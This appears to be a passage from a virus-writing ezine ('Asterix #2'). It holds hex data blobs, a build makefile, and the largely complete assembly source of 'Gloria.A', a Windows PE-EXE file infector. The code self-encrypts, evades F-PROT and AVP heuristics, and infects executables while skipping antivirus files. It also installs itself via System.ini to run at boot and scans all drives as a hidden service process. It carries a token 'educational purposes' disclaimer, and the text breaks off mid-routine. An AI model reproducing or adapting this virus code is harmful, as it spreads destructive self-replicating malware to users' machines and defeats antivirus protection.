DB 057H, 049H, 04EH, 044H, 04FH, 057H, 092H, 036H, 053H, 059H, 053H, 008H, 000H, 054H, 045HDB 04DH, 082H, 077H, 054H, 044H, 04FH, 04CH, 045H, 032H, 02EH, 010H, 054H, 04CH, 042H, 023HDB 094H, 000H, 000H, 008H, 0F2H, 07AH, 000H, 0F2H, 08BH, 061H, 074H, 022H, 01DH, 023H, 000HDB 02FH, 000H, 001H, 016H, 000H, 007H, 040H, 020H, 080H, 002H, 04DH, 053H, 000H, 046H, 023HDB 0ADH, 03EH, 000H, 00EH, 021H, 001H, 006H, 084H, 09BH, 045H, 072H, 004H, 000H, 000H, 080HDB 083H, 09BH, 02FH, 000H, 07AH, 080H, 009H, 006H, 070H, 080H, 001H, 001H, 046H, 041H, 046HDB 000H, 000H, 035H, 031H, 034H, 000H, 031H, 036H, 032H, 02DH, 042H, 038H, 035H, 033H, 010HDB 02DH, 031H, 031H, 00AH, 000H, 044H, 0F2H, 04CH, 039H, 092H, 01BH, 034H, 034H, 034H, 035HDB 035H, 033H, 035H, 00EH, 034H, 001H, 048H, 017H, 000H, 000H, 046H, 004H, 033H, 02EH, 054HDB 057H, 044H, 000H, 023H, 04DH, 069H, 063H, 072H, 06FH, 073H, 06FH, 000H, 000H, 028H, 066HDB 074H, 020H, 002H, 03DH, 020H, 000H, 060H, 020H, 04FH, 002H, 062H, 001H, 0B0H, 020H, 000HDB 001H, 04CH, 069H, 062H, 072H, 061H, 01CH, 072H, 079H, 062H, 0CBH, 001H, 01EH, 050H, 030HDB 000H, 090H, 00DH, 008H, 000H, 000H, 013H, 072H, 002H, 05FH, 050H, 033H, 043H, 032H, 044HDB 000H, 044H, 046H, 038H, 032H, 02DH, 043H, 000H, 000H, 046H, 045H, 032H, 037H, 005H, 050HDB 041H, 034H, 01DH, 050H, 080H, 04AH, 050H, 05CH, 090H, 056H, 000H, 00AH, 042H, 045H, 05CHDB 085H, 028H, 045H, 058H, 0A7H, 028H, 078H, 0DCH, 000H, 077H, 0DDH, 083H, 081H, 095H, 043HDB 004H, 002H, 078H, 04FH, 033H, 038H, 044H, 078H, 082H, 04FH, 040H, 075H, 0B4H, 015H, 042HDB 078H, 02AH, 098H, 0C0H, 02BH, 080H, 040H, 08EH, 0C4H, 02CH, 032H, 000H, 02CH, 044H, 0A2HDB 0A5H, 043H, 02DH, 035H, 042H, 046H, 041H, 092H, 0D6H, 030H, 000H, 000H, 031H, 042H, 02DHDB 042H, 044H, 045H, 052H, 035H, 040H, 078H, 041H, 041H, 040H, 077H, 034H, 0C0H, 000H, 000HDB 002H, 032H, 001H, 008H, 055H, 041H, 052H, 051H, 055H, 049H, 056H, 04FH, 000H, 053H, 020HDB 044H, 000H, 020H, 045H, 020H, 050H, 052H, 04FH, 000H, 047H, 052H, 041H, 04DH, 041H, 053HDB 05CH, 072H, 0A3H, 043H, 052H, 000H, 000H, 04FH, 053H, 04FH, 046H, 054H, 000H, 020H, 04FHDB 046H, 046H, 049H, 043H, 045H, 05CH, 001H, 084H, 000H, 000H, 001H, 04DH, 053H, 04FH, 039HDB 037H, 02EH, 044H, 00CH, 04CH, 04CH, 048H, 05CH, 083H, 025H, 020H, 000H, 000H, 038H, 02EHDB 030H, 045H, 092H, 05CH, 00FH, 082H, 0BFH, 001H, 000H, 013H, 0C2H, 001H, 08DH, 004H, 010HDB 004H, 09AH, 019H, 042H, 0A8H, 034H, 0EFH, 000H, 06FH, 063H, 075H, 06DH, 032H, 011H, 01AHDB 011H, 04EH, 004H, 032H, 000H, 004H, 000H, 018H, 040H, 033H, 054H, 000H, 068H, 011H, 040HDB 038H, 062H, 0DAH, 080H, 08FH, 063H, 000H, 075H, 008H, 002H, 051H, 000H, 090H, 062H, 0D9HDB 040H, 0B6H, 01CH, 0C0H, 006H, 062H, 0F4H, 048H, 042H, 001H, 031H, 0C2H, 0C4H, 000H, 000HDB 0EBH, 000H, 0DCH, 01EH, 08BH, 042H, 002H, 001H, 005H, 02CH, 042H, 01AH, 08FH, 09AH, 022HDB 042H, 000H, 009H, 008H, 00AH, 02BH, 042H, 001H, 010H, 042H, 001H, 025H, 08AH, 01AH, 0E1HDB 02FH, 0A2H, 03EH, 000H, 003H, 000H, 0B0H, 0C6H, 0FEH, 0FFH, 009H, 000H, 0D3H, 020H, 007HDB 01CH, 001H, 002H, 009H, 021H, 002H, 004H, 004H, 003H, 010H, 000H, 000H, 004H, 08CH, 006HDB 08BH, 07FH, 000H, 002H, 069H, 07FH, 05DH, 002H, 084H, 023H, 075H, 002H, 02EH, 00FH, 049HDB 006H, 049H, 049H, 044H, 03DH, 022H, 07BH, 037H, 037H, 043H, 036H, 000H, 086H, 039H, 038HDB 041H, 046H, 02DH, 044H, 031H, 039H, 032H, 013H, 0F9H, 022H, 004H, 043H, 041H, 034H, 02DHDB 016H, 0F9H, 084H, 062H, 034H, 030H, 002H, 001H, 07DH, 022H, 00DH, 00AH, 037H, 0BAH, 03DHDB 00BH, 076H, 02FH, 026H, 048H, 002H, 01FH, 004H, 003H, 00DH, 080H, 003H, 00AH, 04EH, 061HDB 06DH, 065H, 03DH, 022H, 037H, 030H, 046H, 0DDH, 002H, 03AH, 048H, 065H, 06CH, 070H, 043HDB 06FH, 0A0H, 000H, 06EH, 074H, 065H, 078H, 074H, 003H, 072H, 030H, 002H, 013H, 043H, 04DHDB 047H, 03DH, 022H, 042H, 038H, 042H, 080H, 001H, 041H, 032H, 037H, 035H, 044H, 032H, 042HDB 00BH, 004H, 002H, 01EH, 044H, 050H, 042H, 03DH, 022H, 037H, 030H, 000H, 003H, 037H, 032HDB 045H, 046H, 031H, 030H, 046H, 030H, 005H, 004H, 002H, 018H, 047H, 043H, 03DH, 022H, 032HDB 038H, 000H, 009H, 032H, 041H, 042H, 037H, 043H, 038H, 042H, 038H, 003H, 004H, 033H, 037HDB 002H, 017H, 00DH, 00AH, 05BH, 048H, 000H, 000H, 06FH, 073H, 074H, 020H, 045H, 078H, 074HDB 065H, 06EH, 064H, 065H, 072H, 020H, 049H, 06EH, 066H, 010H, 000H, 06FH, 05DH, 00DH, 00AHDB 008H, 09CH, 031H, 03DH, 07BH, 033H, 038H, 033H, 032H, 044H, 036H, 034H, 030H, 009H, 000HDB 022H, 081H, 039H, 030H, 002H, 0E6H, 043H, 046H, 02DH, 038H, 045H, 034H, 033H, 02DH, 030HDB 030H, 041H, 030H, 000H, 014H, 043H, 039H, 031H, 031H, 030H, 030H, 035H, 041H, 07DH, 03BHDB 022H, 08EH, 03BH, 008H, 036H, 030H, 00DH, 00AH, 003H, 083H, 002H, 05AH, 062H, 038H, 06BHDB 073H, 070H, 061H, 063H, 065H, 002H, 051H, 00BH, 0FAH, 03DH, 032H, 037H, 02CH, 020H, 003HDB 004H, 000H, 0E0H, 036H, 032H, 033H, 02CH, 020H, 033H, 037H, 035H, 02CH, 020H, 05AH, 00DHDB 00AH, 01FH, 0CEH, 012H, 07CH, 004H, 003H, 0A3H, 091H, 01FH, 0CEH, 003H, 015H, 001H, 000HDB 001H, 012H, 0E2H, 003H, 0E2H, 0FDH, 043H, 0B0H, 006H, 009H, 002H, 003H, 015H, 000H, 0C0HDB 004H, 006H, 018H, 044H, 000H, 046H, 01DH, 002H, 008H, 017H, 073H, 06FH, 020H, 064H, 06FHDB 020H, 036H, 074H, 066H, 074H, 020H, 002H, 093H, 064H, 0BCH, 02AH, 020H, 000H, 002H, 038HDB 062H, 089H, 003H, 00CH, 002H, 027H, 000H, 022H, 00EH, 000H, 003H, 00CH, 02EH, 002H, 00DHDB 075H, 023H, 09BH, 02EH, 038H, 0E0H, 0FFH, 000H, 0F4H, 039H, 0B2H, 071H, 002H, 046H, 008HDB 003H, 00FH, 09DH, 056H, 02AH, 003H, 07EH, 00FH, 004H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 0BFH, 082H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 005H, 010H, 001H, 0B2H, 0E6H, 06FH, 0A2H, 046H, 070H, 000H, 04FH, 000H, 062H, 0E2H

Page 236: EZine - Asterix #2

NDOT.INC

DB 0E8H, 0EFH, 0D7H, 008H, 0EAH, 00FH, 009H, 00FH, 010H, 006H, 010H, 012H, 0B2H, 012H, 005HDB 04AH, 005H, 006H, 006H, 017H, 00FH, 007H, 00CH, 010H, 05BH, 002H, 00EH, 06FH, 002H, 004HDB 00FH, 003H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 007H, 010H, 005H, 07AH, 005HDB 006H, 007H, 014H, 00FH, 008H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00BH, 010H, 005H, 07AH, 005H, 006H, 0FFH, 01FH, 00BH, 018H, 00FH, 00CH, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 007H, 010H, 005H, 07AH, 005H, 006H, 007H, 014HDB 00FH, 008H, 00FH, 010H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

Page 237: EZine - Asterix #2

MAKEFILE

# Make file for Turbo Assembler WAP32 example.# Copyright (c) 1996 by Borland International, Inc.

# make -B Will build wap32.exe# make -B -DDEBUG Will build the debug version of wap32.exe

NAME = COKEOBJS = $(NAME).objDEF = $(NAME).def

!if $d(DEBUG)TASMDEBUG=/zi /m /lLINKDEBUG=/v!elseTASMDEBUG=/m /lLINKDEBUG=!endif

!if $d(MAKEDIR)IMPORT=$(MAKEDIR)\..\lib\import32!elseIMPORT=import32!endif

$(NAME).EXE: $(OBJS) $(DEF) tlink32 /Tpe /aa /c $(LINKDEBUG) $(OBJS),$(NAME),, $(IMPORT), $(DEF) pewrsec $(NAME).EXE move coke.exe coke32.exe

.asm.obj: tasm32 $(TASMDEBUG) /ml $&.asm

Page 238: EZine - Asterix #2

This is a direct action Pe-exe infector. Will infect files under Windows 95 (I don't know if works on NT or Win2000) with extension *.EXE. After running, will modifie System.ini in Windows directory and Install a serverthat scans for files in all fixed disks.

Download source code of Gloria here

Page 239: EZine - Asterix #2

GLORIA.ASM

;; Virus: Gloria.A; Size: 3440 bytes; Author: N.B.K. <"[email protected] .com.br">;;;; This is a direct action Pe-exe infector. Wi ll infect files; under Windows 95 (I don't know if works on NT or Win 2000); with extension *.EXE. After running, will modifie System.ini; in Windows directory and Install a server that sc ans for; files in all fixed disks.;; Greetz:;; Lord Julus ( good work in virus list ); Vecna ( Thanx for help me );; And all Vx writer in "#vir" / "#virus" chan nels.;; This code is only for educational purposes.; Don't assembly it !!!.;;; Know bugs: - Error with Winzip self-extract f iles;; [ This is my first virus :-) ].;;; tasm32 -ml -m gloria.asm; tlink32 -Tpe -aa -c gloria,,,import32.lib; pewrsec gloria.exe

.386p

.model flat, stdcalllocalsjumps

include my_own.inc

Gloria : pushadxor ebx , ebxdb 68h

replace_heur dd ofs anti_heuristicpush dword ptr fs :[ ebx ]mov dword ptr fs :[ ebx ], esp

; Generate exception, but we can handle it...

int 03h

db 0E9h

; F-PROT will jump "here"; And AVP stop scanning when saw that this; is the first section, named .CODE :-)

; restore errors

anti_heuristic : mov esp ,dword ptr [ esp +8]xor ebx , ebx

Page 240: EZine - Asterix #2

GLORIA.ASM

pop dword ptr fs :[ ebx ]add esp , 4

; edi = offset for encrypted code

db 0BFhreplace_addr dd ofs dummy

; code lenght

mov ecx , virus_crypt

loop_decrypt : mov eax ,dword ptr [ edi ]ror eax , 1sub eax , 19hrol eax , 2add eax , 11hror eax , 2inc eaxrol eax , 1

xor eax , 96291273hkey_dword2 equ $ - 4

not eaxmov dword ptr [ edi ], eaxadd edi , 4

loop loop_decrypt

; get delta offset

area_crypt : call getdelta

getdelta : pop ebpsub ebp , ofs getdelta

; try windows 95 kernel

mov eax , 0BFF70000h

cmp word ptr [ eax ], "ZM"je krnl_found

; try windows NT kernel

mov eax , 077F00000h

cmp word ptr [ eax ], "ZM"je krnl_found

; try windows 2000 kernel (Thanx Vecna)

mov eax , 077e00000h

cmp word ptr [ eax ], "ZM"jne unknow_os

krnl_found : mov [ ebp+ofs kernel32 ], eaxlea edx ,[ ebp+ ofs getprocaddress ]

; retrieve GetProcAddress (engine from Lord Julus)

Page 241: EZine - Asterix #2

GLORIA.ASM

call my_GetProcjc unknow_os

; locate api address

mov dword ptr [ ebp+GetProc ], eaxcall locate_api

lea esi ,[ ebp+ofs key_dword ]dec dword ptr [ esi ]

; get a random number

in al , 40hmov cl , al

; rotate new key

mov ebx ,dword ptr [ esi ]ror ebx , cl

; and fix it

mov dword ptr [ esi ], ebxmov dword ptr [ ebp+key_dword2 ], ebx

call dword ptr [ ebp+GetCommandLineA ]mov ecx , 512

; We need to stay in net mode ?

_scan : cmp dword ptr [ eax ], "bteN"je net_mode

inc eaxloop _scan

; restore values used to back to host

call reset_var

lea eax ,[ ebp+ofs path_name ]push eaxpush 260call dword ptr [ ebp+GetCurrentDirectoryA ]

xor al , almov byte ptr [ ebp+files_infect ], al

; infect current directory

call infect_one

; Install checker

call check_install_net

; exit virus code

jmp Gloria_exit

Page 242: EZine - Asterix #2

GLORIA.ASM

infect_one : pushad

lea esi ,[ ebp+ofs path_name ]lea edi ,[ ebp+ofs stringexe ]

; insert \*.EXE to path

cld_@@2: lodsb

or al , aljnz _@@2

sub esi , 1xchg esi , edi

movsdmovsd

lea eax ,[ ebp+ofs file_data ]lea esi ,[ ebp+ofs path_name ]

push eax esicall dword ptr [ ebp+FindFirstFileA ]

mov dword ptr [ ebp+handle_find ], eaxcmp eax ,- 1je ret_infect_loop

xor ecx , ecx

lea edi ,[ ebp+ofs file_data.FileName ]_@@3: lodsb

inc ecxor al , aljnz _@@3

; subtract *.EXE,0 string

sub esi , 6xchg esi , edi

; add filename to path

mov ecx , 260rep movsb

jmp infect_loop@

infect_loop : lea esi ,[ ebp+ofs path_name ]_@1@: lodsb

or al , aljnz _@1@

; find last "\"

std_@2@: lodsb

cmp al , "\"jne _@2@cldadd esi , 2

lea edi ,[ ebp+ofs file_data.FileName ]

Page 243: EZine - Asterix #2

GLORIA.ASM

xchg esi , edi

; And replace filename

mov ecx , 260rep movsb

infect_loop@ : lea esi ,[ ebp+ofs path_name ]

_@_1: lodsbor al , aljnz _@_1

; set direction flag to go back to "\"

std_@_2: lodsb

cmp al , "\"jne _@_2

; clear direction flag to avoid future errors

cldadd esi , 2

mov edi , esi

; check file name

call chk_fl_namejc check_how

push 80hpush esicall dword ptr [ ebp+SetFileAttributesA ]

mov eax ,dword ptr [ ebp+ofs file_data.FileSizeLow ]mov dword ptr [ ebp+new_file_size ], eaxmov dword ptr [ ebp+old_file_size ], eax

cmp eax , 1000hja good_size

jmp attr_res

good_size : call open_mappor eax , eaxjz attr_res

; check PE header

call check_codjc unmap_attr

; close file

good_entry : call unmapadd dword ptr [ ebp+new_file_size ],( vir_size * 2)

; open with virus size * 2

call open_mapp

Page 244: EZine - Asterix #2

GLORIA.ASM

or eax , eaxjz attr_res

; call infection routine

call process_file

mov eax ,dword ptr [ ebp+physicalsize ]sub dword ptr [ ebp+new_file_size ],( vir_size * 2)add dword ptr [ ebp+new_file_size ],( vir_size +200h )

; mark this infection

inc byte ptr [ ebp+files_infect ]

; Unmap it

unmap_attr : call unmap

attr_res : push dword ptr [ ebp+ ofs file_data.FileAttributes ]lea eax ,[ ebp+ofs path_name ]push eaxcall dword ptr [ ebp+SetFileAttributesA ]

check_how : cmp byte ptr [ ebp+files_infect ], 0Ahjae close_find

find_next_file : lea eax ,[ ebp+ ofs file_data ]push eaxmov eax ,[ ebp+handle_find ]

push eaxcall dword ptr [ ebp+FindNextFileA ]

or eax , eaxjz close_find

jmp infect_loop

db 0B8h ; The next call will never be found.

close_find : push dword ptr [ ebp+handle_find ]call dword ptr [ ebp+FindClose ]

ret_infect_loop : popadret

process_file :; infection routine; put new section named ".CODE"; as first section

pushadmov esi ,dword ptr [ ebp+mem_addr]add dword ptr [ ebp+peofs ], esi

mov edi ,dword ptr [ ebp+peofs ]

xor ebx , ebxmov bx ,word ptr [ edi._nt ]add ebx , 18hadd ebx , edimov dword ptr [ ebp+tableofs ], ebx

Page 245: EZine - Asterix #2

GLORIA.ASM

xor eax , eaxmov ax ,word ptr [ edi._objects ]

inc word ptr [ edi._objects ] ; add 1 object

mov ecx , 40xor edx , edxmul ecx

mov dword ptr [ ebp+all_sec_size ], eaxadd eax ,dword ptr [ ebp+tableofs ]mov dword ptr [ ebp+lastsection ], eax

xor al , alin al , 41hshr al , 1inc al

mov esi ,dword ptr [ ebp+mem_addr]mov byte ptr [ esi +12h ], al ; mark infection

; Save usefull values

mov eax ,dword ptr [ edi._entry ]mov dword ptr [ ebp+old_value_rva ], eax

mov eax ,dword ptr [ edi._image_base ]mov dword ptr [ ebp+old_imagebase ], eax

mov eax ,dword ptr [ edi._obj_ln ]mov dword ptr [ ebp+objalign ], eax

mov eax ,dword ptr [ edi._file_ln ]mov dword ptr [ ebp+filealign ], eax

mov eax ,dword ptr [ ebp+lastsection ]mov edi , eax

mov eax , [ edi - 5* 8+8]add eax , [ edi - 5* 8+12]mov ecx ,dword ptr [ ebp+objalign ]call align_proc

mov esi ,dword ptr [ ebp+lastsection ]mov [ esi._RVA ], eaxmov [ ebp+virus_entry ], eax

mov ecx ,dword ptr [ ebp+filealign ]mov eax , vir_sizecall align_procmov dword ptr [ esi._physical_sz ], eax ; physical sizemov dword ptr [ ebp+physicalsize ], eax ; physical size

mov ecx ,dword ptr [ ebp+objalign ]mov eax , virtual_size_glcall align_procmov dword ptr [ esi._virtual_sz ], eax ; virtual size

mov eax ,[ edi - 5* 8+20]add eax ,[ edi - 5* 8+16]mov ecx ,dword ptr [ ebp+filealign ]call align_procmov [ esi._physical_off ], eax

Page 246: EZine - Asterix #2

GLORIA.ASM

add eax ,dword ptr [ ebp+mem_addr]mov dword ptr [ ebp+_real_ofs ], eax

; store new section named ".CODE"

mov dword ptr [ edi._obj_flags ], 0C0000080h ; flagslea edi ,[ edi._name_sec ]

lea esi ,[ ebp+my_section ]mov ecx , 8rep movsb

mov esi ,dword ptr [ ebp+peofs ]mov eax , virtual_size_gladd eax ,dword ptr [ esi._img_sz ]mov ecx ,dword ptr [ ebp+objalign ]call align_procmov dword ptr [ esi._img_sz ], eax

mov eax ,dword ptr [ ebp+virus_entry ]mov [ esi._entry ], eax

; copy sections to my buffer

lea edi ,[ ebp+ofs section_space ]mov esi ,dword ptr [ ebp+tableofs ]mov ecx ,dword ptr [ ebp+all_sec_size ]rep movsb

; replace the first section

mov esi ,dword ptr [ ebp+lastsection ]mov edi ,dword ptr [ ebp+tableofs ]mov ecx , 28hrep movsb

; and copy the rest

lea esi ,[ ebp+section_space ]mov edi ,dword ptr [ ebp+tableofs ]add edi , 28hmov ecx ,dword ptr [ ebp+all_sec_size ]rep movsb

; calculate new offsets

mov edi ,dword ptr [ ebp+virus_entry ]push ediadd edi ,[ ebp+ofs old_imagebase ]add edi , ofs area_crypt - ofs Gloriamov [ ebp+ofs replace_addr ], edi

pop ediadd edi ,[ ebp+ofs old_imagebase ]

add edi , ofs anti_heuristic - ofs Gloriamov [ ebp+ofs replace_heur ], edi

; And copy our virus to file

mov edi ,dword ptr [ ebp+_real_ofs ]lea esi ,[ ebp+ofs Gloria ]

mov ecx , entry_fim - Gloria

Page 247: EZine - Asterix #2

GLORIA.ASM

rep movsb

mov ecx , virus_cryptmov edi ,dword ptr [ ebp+_real_ofs ]add edi , ofs area_crypt - ofs Gloria

; encrypt code

loop_encrypt : mov eax ,dword ptr [ edi ]not eaxxor eax , 96291273h

key_dword equ $ - 4ror eax , 1dec eaxrol eax , 2sub eax , 11hror eax , 2add eax , 19hrol eax , 1mov dword ptr [ edi ], eaxadd edi , 4loop loop_encrypt

popadret

align_proc : xor edx , edxdiv ecxinc eaxmul ecxret

map_view : push ecx ; file sizepush 0push 0push 2push dword ptr [ ebp+handle_mapping ]call dword ptr [ ebp+MapViewOfFile ]ret

create_mapp : push 0push eax ; file sizepush 0push 4push 0push dword ptr [ ebp+handle_new_file ]call dword ptr [ ebp+CreateFileMappingA ]ret

unmap_file : push dword ptr [ ebp+mem_addr]call dword ptr [ ebp+UnmapViewOfFile ]

close_map_hnd : push dword ptr [ ebp+handle_mapping ]call dword ptr [ ebp+CloseHandle ]

close_cre_hnd : push dword ptr [ ebp+handle_new_file ]call dword ptr [ ebp+CloseHandle ]xor eax , eaxret

;************************************************** **********; *; FROM LORD JULUS (c) *; *;************************************************** **********

Page 248: EZine - Asterix #2

GLORIA.ASM

my_GetProc :pushad ;

mov ebx , eax ; save the kernel basemov edi , eax ;cmp word ptr [ edi ], 'ZM' ; is it an exe?jne notfoundgpa ;

;mov edi , dword ptr [ edi.MZ_lfanew ] ;cmp edi , 1000h ;jae notfoundgpa ;

;add edi , ebx ;cmp word ptr [ edi ], 'EP' ; is it a PE?jne notfoundgpa ;

;add edi , IMAGE_FILE_HEADER_SIZE ; skip file header

;mov edi , dword ptr [ edi.OH_DataDirectory.DE_Export.DD_VirtualAddress ]add edi , ebx ; and get export RVA

;mov ecx , dword ptr [ edi.ED_NumberOfNames ] ; save number of names

; to look intomov esi , dword ptr [ edi.ED_AddressOfNames ] ; get address of namesadd esi , ebx ; align to base rva

;push edi ; save pointer to export

;gpa_locate_loop : ;

mov edi , [ esi ] ; get one name addressadd edi , ebx ; and align it

;push ecx esi ; save counter and addr.

;mov esi , edx ; compare to GetProcAddressmov ecx , getprocaddresslen ;rep cmpsb ;je foundgpa ;

;pop esi ecx ; restore them

;add esi , 4 ; and get next nameloop gpa_locate_loop ;

;notfoundgpa : ; we didn't find it...

pop edi ;popad ;xor eax , eax ; mark failurestc ;ret ;

;foundgpa : ;

pop esi ecx ; ecx = how many did wepop edi ; check from total, butsub ecx , dword ptr [ edi.ED_NumberOfNames ] ; we need the reminderneg ecx ; of the searchmov eax , dword ptr [ edi.ED_AddressOfOrdinals ] ; get address of ordinalsadd eax , ebx ;shl ecx , 1 ; and look using the indexadd eax , ecx ;xor ecx , ecx ;mov cx , word ptr [ eax ] ; take the ordinalmov eax , dword ptr [ edi.ED_AddressOfFunctions ] ; take address of funcs.

Page 249: EZine - Asterix #2

GLORIA.ASM

add eax , ebx ;shl ecx , 2 ; we look in a dword arrayadd eax , ecx ; go to the function addrmov eax , [ eax ] ; take it's addressadd eax , ebx ; and align it to k32 basemov dr0 , eax ; save it in dr0popad ; restore all regsmov eax , dr0 ; and mark successclc ; ret ;

check_install_net :

; Install Netbstat.exe in Windows directory and; modify system.ini to execute at the next reboot.

pushad

call dword ptr [ ebp+GetCommandLineA ]mov esi , eaxlea edi ,[ ebp+ofs cmd_line ]mov ecx , 208hrep movsb

lea esi ,[ ebp+ofs path_name ]push 260push esicall dword ptr [ ebp+GetWindowsDirectoryA ]

or eax , eaxjz file_in_use

lea edi ,[ ebp+ofs path_name@@]mov ecx , 260rep movsb

lea esi ,[ ebp+ofs path_name@@]_@13@: lodsb

or al , aljnz _@13@

; insert "\",00h in the path

mov word ptr [ esi - 1], 005Ch

; point edi for System.ini string

lea edi ,[ ebp+Netbstat ]xchg esi , edi

; And add to path

mov ecx , 0Dhrep movsb

lea esi ,[ ebp+ofs path_name ]_@1@@: lodsb

or al , aljnz _@1@@

; insert "\",00h in the path

Page 250: EZine - Asterix #2

GLORIA.ASM

mov word ptr [ esi - 1], 005Ch

; point edi for System.ini string

lea edi ,[ ebp+System_ini ]xchg esi , edi

; And add to path

mov ecx , 0Bhrep movsb

; Process our command Line

call dword ptr [ ebp+GetCommandLineA ]

inc eaxxor ecx , ecx

check_char : cmp byte ptr [ eax ], 22hje replace_charinc ecxinc eaxjmp check_char

replace_char : mov byte ptr [ eax ], 00hsub eax , ecx

mov esi , eaxlea edi ,[ ebp+ofs from_line ]mov ecx , 260rep movsb

; Try to overwrite our server if isn't running

xor ebx , ebxpush ebxlea eax ,[ ebp+ofs path_name@@]push eaxlea eax ,[ ebp+ofs from_line ]push eaxcall dword ptr [ ebp+CopyFileA ]

or eax , eaxjz file_in_use

; server isn't installed

lea eax ,[ ebp+ ofs file_data ]push eaxlea eax ,[ ebp+ ofs path_name ]

push eaxcall dword ptr [ ebp+FindFirstFileA ]mov dword ptr [ ebp+handle_find ], eax

cmp eax ,- 1je file_in_use

; Save "System.ini" size

mov eax ,dword ptr [ ebp+ofs file_data.FileSizeLow ]mov dword ptr [ ebp+new_file_size ], eax

Page 251: EZine - Asterix #2

GLORIA.ASM

; open and map "System.ini"

call open_mappor eax , eaxjz clsfind

; Bigger than our buffer ?

cmp dword ptr [ ebp+new_file_size ], 1000hja unmap_sys

; Look for "hell = Explorer.exe"

_@1: cmp dword ptr [ eax ], "lleh"je _@2inc eaxjmp _@1

; add string path "hell = Explorer.exe" to eax

_@2: add eax , 11h

; If string = space, then System.ini; is already infected

cmp byte ptr [ eax ], 20hje unmap_sys

; Save this address for later use

mov dword ptr [ ebp+addr_sys ], eaxmov esi , eax

; Copy System.ini to our buffer

lea edi ,[ ebp+section_space ]mov ecx ,dword ptr [ ebp+new_file_size ]rep movsb

mov edi , eax

; Point esi to our string

lea esi ,[ ebp+ofs Net_sign ]mov ecx , 0Dhrep movsb

; Unmap with old file size

call unmapadd dword ptr [ ebp+new_file_size ], 0Dh

; And re-map with new

call open_mapp

; Don't forget to copy last bytes

mov edi ,dword ptr [ ebp+addr_sys ]add edi , 0Dhlea esi ,[ ebp+section_space ]mov ecx ,dword ptr [ ebp+new_file_size ]

Page 252: EZine - Asterix #2

GLORIA.ASM

rep movsb

; Close search handle and unmap file

unmap_sys : call unmapclsfind : push dword ptr [ ebp+handle_find ]

call dword ptr [ ebp+FindClose ]file_in_use : call dword ptr [ ebp+GetCommandLineA ]

mov edi , eaxlea esi ,[ ebp+ofs cmd_line ]mov ecx , 208hrep movsbpopadret

reset_var : ; clear direction flag to avoid errors; And copy old keys to return buffer

cldlea esi ,[ ebp+ofs old_value_rva ]

lea edi ,[ ebp+ofs new_value_rva ]movsdmovsd

ret

open_mapp: ; Open and Map file in memory. Returns eax = 0 on e rror or; Mapped address if success

; Try don't show our encryption; key putting many zeros in code

xor eax , eaxpush eax

push eaxpush 3push eaxpush 1push 80000000h or 40000000h

lea eax ,[ ebp+ofs path_name ]push eaxcall dword ptr [ ebp+CreateFileA ]

mov dword ptr [ ebp+handle_new_file ], eaxcmp eax ,- 1je error_bef_create

xor eax , eaxpush eax

push dword ptr [ ebp+new_file_size ] ; file sizepush eaxpush 4push eaxpush dword ptr [ ebp+handle_new_file ]call dword ptr [ ebp+CreateFileMappingA ]

mov dword ptr [ ebp+handle_mapping ], eaxor eax , eaxjz error_aft_create

xor eax , eaxpush dword ptr [ ebp+new_file_size ] ; file size

Page 253: EZine - Asterix #2

GLORIA.ASM

push eaxpush eaxpush 2push dword ptr [ ebp+handle_mapping ]call dword ptr [ ebp+MapViewOfFile ]

mov dword ptr [ ebp+mem_addr], eaxor eax , eaxjz close_bef_mappin

ret

unmap: push dword ptr [ ebp+mem_addr]call dword ptr [ ebp+UnmapViewOfFile ]push dword ptr [ ebp+handle_mapping ]call dword ptr [ ebp+CloseHandle ]

close_bef_mappin :push dword ptr [ ebp+handle_mapping ]

call dword ptr [ ebp+CloseHandle ]

xor eax , eaxpush eaxpush eaxpush dword ptr [ ebp+offset new_file_size ]push dword ptr [ ebp+handle_new_file ]call dword ptr [ ebp+SetFilePointer ]

push dword ptr [ ebp+handle_new_file ]call dword ptr [ ebp+SetEndOfFile ]

error_aft_create :push dword ptr [ ebp+handle_new_file ]

call dword ptr [ ebp+CloseHandle ]

error_bef_create :xor eax , eaxret

locate_api : ; retrieve api's from Kernel32.dll

lea esi ,[ ebp+ ofs api_name ]lea edi ,[ ebp+ ofs api_addr ]

; push api name

locate_again : push esipush dword ptr [ ebp+ofs kernel32 ]call dword ptr [ ebp+GetProc ]or eax , eaxjz Gloria_exitstosd

look_4_name : inc esicmp byte ptr [ esi ], 00hjne look_4_nameinc esicmp byte ptr [ esi ], 0FFhjne locate_again

ret

chk_fl_name : pushad; Process file name

Page 254: EZine - Asterix #2

GLORIA.ASM

; avoid anti-virus infection

cmp edi , "DNAP" ; PAND*.*je @7@@cmp edi , "_SSC" ; CSS_*.*je @7@@cmp edi , "NACS" ; SCAN*.*je @7@@cmp di , "-F" ; F-*.*je @7@@

; avoid to infect files with "V" in the name

xor al , almov al , "V"mov ecx , 0Ahrepne scasbje @7@@

sub edi , 0Ah

add al , 20hmov ecx , 0Ahrepne scasbje @7@@

popadclcret

@7@@: popadstcret

check_cod : pushad

mov esi ,dword ptr [ ebp+mem_addr]xor al , almov al ,byte ptr [ esi +12h ]

; check infectin mark

or al , aljnz s@@2

; Windows application

cmp byte ptr [ esi +18h ], 40hjb s@@2

; clean file

mov edi ,dword ptr [ esi +3Ch]mov dword ptr [ ebp+peofs ], edi

; ; avoid errors in files; ; like Wininit.exe;; cmp edi,1000h; jae s@@2

; check if is PE-exe

Page 255: EZine - Asterix #2

GLORIA.ASM

add edi , esimov ax ,word ptr [ edi ]

cmp ax , "EP"jne s@@2

; check if .petite section was found; if yes, quit from infection

mov eax , "tep."mov ecx , 258hrepne scasdje s@@2

popadclcret

s@@2: popadstcret

; Scan *.EXE files in directories and sub.; Look for all fixed disks (A - Z); Register as a service process

net_mode : push 1xor eax , eaxpush eaxcall dword ptr [ ebp+RegisterServiceProcess ]

; Wait one minute

push one_minutecall dword ptr [ ebp+Sleep ]

lea ebx ,[ ebp+ ofs drives ]

; start with "A:\"

mov byte ptr [ ebx ], "A"

more_drives : lea ebx ,[ ebp+ ofs drives ]push ebxcall dword ptr [ ebp+GetDriveTypeA ]

